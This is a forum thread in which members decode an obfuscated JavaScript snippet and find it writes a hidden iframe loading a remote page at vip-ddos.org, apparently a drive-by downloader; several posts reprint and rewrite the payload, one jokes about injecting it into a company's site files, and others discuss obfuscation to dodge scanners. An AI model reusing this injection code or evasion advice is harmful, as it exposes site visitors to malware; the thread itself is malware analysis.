greetings, fellow internet!

welcome to digitalgangster.com, the coolest community for people who hack the gibson and make bajillions of dollars off of online marketing. please click here to register an account (it's free) and join in on a plethora of discussions with the internet elite.

ASGPHE,
ytcracker, original digital gangster
follow me on twitter
fan me on facebook
Page 1 of 2 12 LastLast
Results 1 to 50 of 51

Thread: Is this a Trojan?

  1. #1
    i'm a dirty jew sn1per's Avatar
    Join Date
    Nov 2007
    Location
    Morroco
    Posts
    8,433

    Default Is this a Trojan?

    function decode() {
    var t,o,l,i,j;
    var s='';
    s=s+'060047116101120116097116101097062060047116101 120116097114101097062';
    s=s+'060105102114097109101032115114099061034104116 11611205804704711511210804611810511204510010011111 5046';
    s=s+'111114103047105110100101120046112104112034032 11910510011610406104903210410110510310411606104903 2115';
    s=s+'116121108101061034118105115105098105108105116 12105803210410510010010111003406206004710510211409 7109';
    s=s+'101062';
    t=''; l=s.length; i=0;
    while(i < (l-1)) {
    for(j=0;j<3;j++)
    {
    t=t+s.charAt(i);
    i++;
    }
    document.write(String.fromCharCode(t));
    t='';
    }
    }

    What does it all mean?

    Officially the unofficial radio of DG: www.gangster.fm


  2. #2
    lol im band
    Join Date
    Feb 2005
    Location
    电脑黑客
    Posts
    28,454

    Default

    there is no spoon

  3. #3
    tom jones's Avatar
    Join Date
    Jan 2008
    Location
    FL
    Posts
    6,506

    Default

    Looks weird, but it might be a trojan seeing all those #'s

  4. #4
    silent3k's Avatar
    Join Date
    Jun 2005
    Location
    vegas
    Posts
    6,245

    Default

    ROFL ^^^

  5. #5
    straight up squarebare RonMexico's Avatar
    Join Date
    Jun 2005
    Posts
    7,044

    Default

    jamal giving computer advice ITT

    ps. Yessur I balleev its a trojan
    Last edited by RonMexico; 03-10-2008 at 11:55 AM.

  6. #6
    straight up squarebare RonMexico's Avatar
    Join Date
    Jun 2005
    Posts
    7,044

    Default

    Possibly Trojan-Trojan Downloader.JS.Agent.bbi

  7. #7
    mcbain's Avatar
    Join Date
    Jan 2007
    Location
    North Jersey
    Posts
    895

    Default

    i use to have code to decode anything that looked like that. Bassicalyy .innerHtml function would always return unencrypted stuff. ill see if i can find it
    i will not disclose a 0day again. i will not disclose a 0day again. i will not disclose a 0day again. i will not disclose a 0day again



  8. #8
    i fuck in the name of dg mhu's Avatar
    Join Date
    Dec 2005
    Posts
    25,286

    Default

    Quote Originally Posted by Jamal View Post
    Looks weird, but it might be a trojan seeing all those #'s
    oh...my...god

    j/w, have you ever written any code?
    a.k.a Hous Bin Pharteen

  9. #9
    i fuck in the name of dg mhu's Avatar
    Join Date
    Dec 2005
    Posts
    25,286

    Default

    Quote Originally Posted by sn1per View Post
    function decode()
    }
    {
    What does it all mean?
    what does function decode() do. post what the code is for that
    a.k.a Hous Bin Pharteen

  10. #10

    Default

    That is the function decode()

  11. #11
    i fuck in the name of dg mhu's Avatar
    Join Date
    Dec 2005
    Posts
    25,286

    Default

    Quote Originally Posted by Moose View Post
    That is the function decode()
    ah shit i got my stuff backwards. I should do my homework some time and maybe I wouldn't do that :P

    i thought it was passing that data in at first. oops.
    a.k.a Hous Bin Pharteen

  12. #12
    i fuck in the name of dg mhu's Avatar
    Join Date
    Dec 2005
    Posts
    25,286

    Default

    that just looks like a math problem, maybe we can solve it???

    definitely not a virus

    lemme see what the answer is to that real quick and maybe we can find out
    a.k.a Hous Bin Pharteen

  13. #13
    i fuck in the name of dg mhu's Avatar
    Join Date
    Dec 2005
    Posts
    25,286

    Default

    its almost like some sort of encryption algorithm or something
    a.k.a Hous Bin Pharteen

  14. #14
    lol im band
    Join Date
    Feb 2005
    Location
    电脑黑客
    Posts
    28,454

    Default

    ^ ROFL

  15. #15
    i fuck in the name of dg mhu's Avatar
    Join Date
    Dec 2005
    Posts
    25,286

    Default

    im trying to solve it by using sample input of '012345' but my mind is too weak to keep up with it. i would need to compile it to get answer.
    a.k.a Hous Bin Pharteen

  16. #16
    i fuck in the name of dg mhu's Avatar
    Join Date
    Dec 2005
    Posts
    25,286

    Default

    i give up this is pointless.
    a.k.a Hous Bin Pharteen

  17. #17
    i'm a dirty jew sn1per's Avatar
    Join Date
    Nov 2007
    Location
    Morroco
    Posts
    8,433

    Default

    lulz at this thread MHU <3

    ron mexico hit it on the money.

    Officially the unofficial radio of DG: www.gangster.fm


  18. #18
    i fuck in the name of dg mhu's Avatar
    Join Date
    Dec 2005
    Posts
    25,286

    Default

    was this thread serious or what

    cuz i can't tell what it is. Just some program that moves some numbers around.
    a.k.a Hous Bin Pharteen

  19. #19
    i'm a dirty jew sn1per's Avatar
    Join Date
    Nov 2007
    Location
    Morroco
    Posts
    8,433

    Default

    No, it was a serious thread. I won't bore you with the details, it just had to do with a client of ours.

    I wanted to see exactly what the code was but I knew it came up as a downloader.

    Officially the unofficial radio of DG: www.gangster.fm


  20. #20
    I am Fredryck Fox! Vershun's Avatar
    Join Date
    May 2005
    Location
    Denver, CO
    Posts
    16,125

    Default

    Are you guys serious serious? It's a javascript with a document.write in it o.O.

    Make a .html, do a javascript chunk and call the decode function, then view the generated source.

    HTML file:
    Code:
    <script type="text/javascript">
    function decode() {
    var t,o,l,i,j;
    var s='';
    s=s+'060047116101120116097116101097062060047116101120116097114101097062';
    s=s+'060105102114097109101032115114099061034104116116112058047047115112108046118105112045100100111115046';
    s=s+'111114103047105110100101120046112104112034032119105100116104061049032104101105103104116061049032115';
    s=s+'116121108101061034118105115105098105108105116121058032104105100100101110034062060047105102114097109';
    s=s+'101062';
    t=''; l=s.length; i=0;
    while(i < (l-1)) {
    for(j=0;j<3;j++)
    {
    t=t+s.charAt(i);
    i++;
    }
    document.write(String.fromCharCode(t));
    t='';
    }
    }
    
    decode();
    </script>

    It generates:
    Code:
    <iframe src="http://spl.vip-ddos.org/index.php" style="visibility: hidden;" height="1" width="1"></iframe>

  21. #21
    i'm a dirty jew sn1per's Avatar
    Join Date
    Nov 2007
    Location
    Morroco
    Posts
    8,433

    Default

    Bout time vershun chimed in, i was hoping for this earlier.

    Officially the unofficial radio of DG: www.gangster.fm


  22. #22
    i fuck in the name of dg mhu's Avatar
    Join Date
    Dec 2005
    Posts
    25,286

    Default

    fuck

    i fail

    i totally forgot thats what the last part of that code did.
    a.k.a Hous Bin Pharteen

  23. #23
    yung skeet pulaskeet's Avatar
    Join Date
    Jan 2007
    Location
    atlanta and nyc
    Posts
    1,000

    Default

    Just so you know...

    document.write(String.fromCharCode(t));
    document.write(.....);

    That will write something to the document or the html pane.

    String.fromCharCode(t)

    That will grab a characters value at the char code t.
    So basically, it iterates through that list of numbers and gets the char from the integer, then by the time it gets to writing, it converts from char to string

  24. #24
    i fuck in the name of dg mhu's Avatar
    Join Date
    Dec 2005
    Posts
    25,286

    Default

    Quote Originally Posted by pulaskeet View Post
    Just so you know...



    document.write(.....);

    That will write something to the document or the html pane.

    String.fromCharCode(t)

    That will grab a characters value at the integer t. If you look at a character map, every letter on your keyboard (plus moar) have a number used as a reference.

    So basically, it iterates through that list of numbers and prints the character number for each number, which results in what Vershun posted.
    god i am such a fucking tard

    i saw it grabbed 3 numbers at a time and at no point in that did i actually think it could be a character reference
    a.k.a Hous Bin Pharteen

  25. #25
    yung skeet pulaskeet's Avatar
    Join Date
    Jan 2007
    Location
    atlanta and nyc
    Posts
    1,000

    Default

    it actually works a little differently, i wrote that after glancing at it for a sec, but yea same concept

  26. #26
    yung skeet pulaskeet's Avatar
    Join Date
    Jan 2007
    Location
    atlanta and nyc
    Posts
    1,000

    Default

    they go from number -> char -> string

  27. #27

    Default

    Quote Originally Posted by Vershun View Post
    Are you guys serious serious? It's a javascript with a document.write in it o.O.

    Make a .html, do a javascript chunk and call the decode function, then view the generated source.

    HTML file:
    Code:
    <script type="text/javascript">
    function decode() {
    var t,o,l,i,j;
    var s='';
    s=s+'060047116101120116097116101097062060047116101120116097114101097062';
    s=s+'060105102114097109101032115114099061034104116116112058047047115112108046118105112045100100111115046';
    s=s+'111114103047105110100101120046112104112034032119105100116104061049032104101105103104116061049032115';
    s=s+'116121108101061034118105115105098105108105116121058032104105100100101110034062060047105102114097109';
    s=s+'101062';
    t=''; l=s.length; i=0;
    while(i < (l-1)) {
    for(j=0;j<3;j++)
    {
    t=t+s.charAt(i);
    i++;
    }
    document.write(String.fromCharCode(t));
    t='';
    }
    }
    
    decode();
    </script>
    It generates:
    Code:
    <iframe src="http://spl.vip-ddos.org/index.php" style="visibility: hidden;" height="1" width="1"></iframe>

  28. #28

    Default

    it actually generates:

    Code:
    </textatea></textarea><iframe src="http://spl.vip-ddos.org/index.php" width=1 height=1 style="visibility: hidden"></iframe>

  29. #29

    Default

    and pretty in-efficiently too...

    Code:
    		void decode()
    		{
    			string s = string.Empty;
    			string t = string.Empty;
    			int i = 0;
    			int l = 0;
    			int j = 0;
    			s += "060047116101120116097116101097062060047116101120116097114101097062";
    			s += "060105102114097109101032115114099061034104116116112058047047115112108046118105112045100100111115046";
    			s += "111114103047105110100101120046112104112034032119105100116104061049032104101105103104116061049032115";
    			s += "116121108101061034118105115105098105108105116121058032104105100100101110034062060047105102114097109";
    			s += "101062";
    
    			l = s.Length - 1;
    
    			while (i < l)
    			{
    				for (j = 0; j < 3; ++j)
    				{
    					t += s[i];
    					i++;
    				}
    				Console.Write(char.ConvertFromUtf32(Convert.ToInt32(t)));
    				t = "";
    			}
    		}

  30. #30
    My only fear is the unknown. david blaine's Avatar
    Join Date
    May 2005
    Posts
    8,370

    Default

    ok i know this is a help forum, but you guys are seriously retarded.....

  31. #31
    yung skeet pulaskeet's Avatar
    Join Date
    Jan 2007
    Location
    atlanta and nyc
    Posts
    1,000

    Default

    hahaah moose i was thinking the same thing, god we're nerds

  32. #32
    yung skeet pulaskeet's Avatar
    Join Date
    Jan 2007
    Location
    atlanta and nyc
    Posts
    1,000

    Default

    Quote Originally Posted by ytcracker View Post
    even if a question is seemingly retarded, there is no need to berate someone for no raisin.

  33. #33
    i'm a dirty jew sn1per's Avatar
    Join Date
    Nov 2007
    Location
    Morroco
    Posts
    8,433

    Default

    I actually learned alot, thanks everyone <#

    Officially the unofficial radio of DG: www.gangster.fm


  34. #34

    Default

    this is a little better, still kinda shitty:

    Code:
    			string s = string.Empty;
    			s += "060047116101120116097116101097062060047116101120116097114101097062";
    			s += "060105102114097109101032115114099061034104116116112058047047115112108046118105112045100100111115046";
    			s += "111114103047105110100101120046112104112034032119105100116104061049032104101105103104116061049032115";
    			s += "116121108101061034118105115105098105108105116121058032104105100100101110034062060047105102114097109";
    			s += "101062";
    
    			string output = string.Empty;
    			for (int i = 0, cnt = s.Length - 1; i < cnt; i += 3)
    				output += char.ConvertFromUtf32(Convert.ToInt32(s.Substring(i, 3))).ToString();
    			Console.WriteLine(output);
    versh, pulaskeet... comments?

  35. #35

    Default

    lotta boxing/unboxing conversion bullshit going on... I dont get it...

  36. #36
    yung skeet pulaskeet's Avatar
    Join Date
    Jan 2007
    Location
    atlanta and nyc
    Posts
    1,000

    Default

    Code:
    function decode() {
        var t,i, s='';
        s=s+'060047116101120116097116101097062060047116101120116097114101097062';
        s=s+'060105102114097109101032115114099061034104116116112058047047115112108046118105112045100100111115046';
        s=s+'111114103047105110100101120046112104112034032119105100116104061049032104101105103104116061049032115';
        s=s+'116121108101061034118105115105098105108105116121058032104105100100101110034062060047105102114097109';
        s=s+'101062';
        
        t = '';
        for (i=0; i < s.length; i+=3)
          t += String.fromCharCode(s.substring(i, i+3));
          
        document.write(t);
    }
    assuming we're still talking about js

  37. #37
    yung skeet pulaskeet's Avatar
    Join Date
    Jan 2007
    Location
    atlanta and nyc
    Posts
    1,000

    Default

    i still don't know why people would use that method for encoding since basically you can just copy t to the clipboard and be on your merry way

  38. #38

    Default

    i changed mine to c#, but pretty much the same code.

  39. #39

    Default

    let me get awol in here... he will probably look at it in CIL and over-efficient the hell out of it. but ground rules, the encoding method MUST remain the same: go!

  40. #40

    Default

    Quote Originally Posted by Moose View Post
    let me get awol in here... he will probably look at it in CIL and over-efficient the hell out of it. but ground rules, the encoding method MUST remain the same: go!
    I'm missing something? A better way to do the above?

    The above is crap, it's a double-encode. Don't bother to keep it the same, use dean edwards packer. http://dean.edwards.name/packer/


    But Vershun called it above and so, yes - it's probably a trojan of some kind.

    Iframe injection is totally lame...


    Now, launching your Trojan at some corporation that looks for .aspx, .php, .cfm, .etc files and injected the above would be pretty l33t.

  41. #41

    Smile

    Quote Originally Posted by awol View Post
    I'm missing something? A better way to do the above?

    The above is crap, it's a double-encode. Don't bother to keep it the same, use dean edwards packer. http://dean.edwards.name/packer/


    But Vershun called it above and so, yes - it's probably a trojan of some kind.

    Iframe injection is totally lame...


    Now, launching your Trojan at some corporation that looks for .aspx, .php, .cfm, .etc files and injected the above would be pretty l33t.
    w4r3z d4 c0d3?

  42. #42
    straight up squarebare RonMexico's Avatar
    Join Date
    Jun 2005
    Posts
    7,044

    Default

    Quote Originally Posted by MetalHeadsUnite View Post
    that just looks like a math problem, maybe we can solve it???

    definitely not a virus

    lemme see what the answer is to that real quick and maybe we can find out
    Quote Originally Posted by MetalHeadsUnite View Post
    its almost like some sort of encryption algorithm or something
    LOL

  43. #43

    Default

    Quote Originally Posted by Moose View Post
    w4r3z d4 c0d3?
    Just for you...

    I rewrote the above worthless code with functionally identical worthless code:


    Code:
    <script>
    var s='060047116101120116097116101097062060047116101120116097114101097062060105102114097109101032115114099061034104116116112058047047115112108046118105112045100100111115046111114103047105110100101120046112104112034032119105100116104061049032104101105103104116061049032115116121108101061034118105115105098105108105116121058032104105100100101110034062060047105102114097109101062';
    var i = 0, l = s.length;
    while (i < l)
        {document.write(String.fromCharCode(s[i] + s[i+1] + s[i+2]); i+=3;} 
    </script>

  44. #44
    I am Fredryck Fox! Vershun's Avatar
    Join Date
    May 2005
    Location
    Denver, CO
    Posts
    16,125

    Default

    I've seen this type of stuff a lot. I'd assume this sort of basic obfuscation is not meant for any sort of encryption benefits (why would you think of a complicated one when everyone can see it and just run the function to decrypt?) but probably to detour automated scans and to offer some sort of obfuscation for casual lookers.

  45. #45

    Default

    I'd go for obfuscation... (hopefully)

    Any decent automated scanner would run the code and actively look for a problem.

  46. #46

    Default

    Quote Originally Posted by awol View Post
    Just for you...

    I rewrote the above worthless code with functionally identical worthless code:


    Code:
    <script>
    var s='060047116101120116097116101097062060047116101120116097114101097062060105102114097109101032115114099061034104116116112058047047115112108046118105112045100100111115046111114103047105110100101120046112104112034032119105100116104061049032104101105103104116061049032115116121108101061034118105115105098105108105116121058032104105100100101110034062060047105102114097109101062';
    var i = 0, l = s.length;
    while (i < l)
        {document.write(String.fromCharCode(s[i] + s[i+1] + s[i+2]); i+=3;} 
    </script>
    Still waiting for you to performance test this, Moose. I'm waiting to hear that mine is faster :P

  47. #47
    I am Fredryck Fox! Vershun's Avatar
    Join Date
    May 2005
    Location
    Denver, CO
    Posts
    16,125

    Default

    Quote Originally Posted by awol View Post
    I'd go for obfuscation... (hopefully)

    Any decent automated scanner would run the code and actively look for a problem.
    Think it depends on who's doing it and for what reason. I'm pretty sure Google still doesn't execute any JS.

    It's one thing to make a parser using simple regex's vs having an entire JS engine.

  48. #48

    Default

    True that Google probably doesn't (although they probably will moving forward).

    Antivirus/spyware programs will parse compiled code though, which (presumably) defeats the purpose of attempts like the above.


    Either way...it's still lame...

  49. #49
    i fuck in the name of dg mhu's Avatar
    Join Date
    Dec 2005
    Posts
    25,286

    Default

    Quote Originally Posted by RonMexico View Post
    LOL
    why lol

    it was decryption into a URL, and it was a math problem.

    go lol at yourself
    a.k.a Hous Bin Pharteen

  50. #50
    daggy diamonds
    Guest

    Default

    this thread is out of my league, sorry gentlemen

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •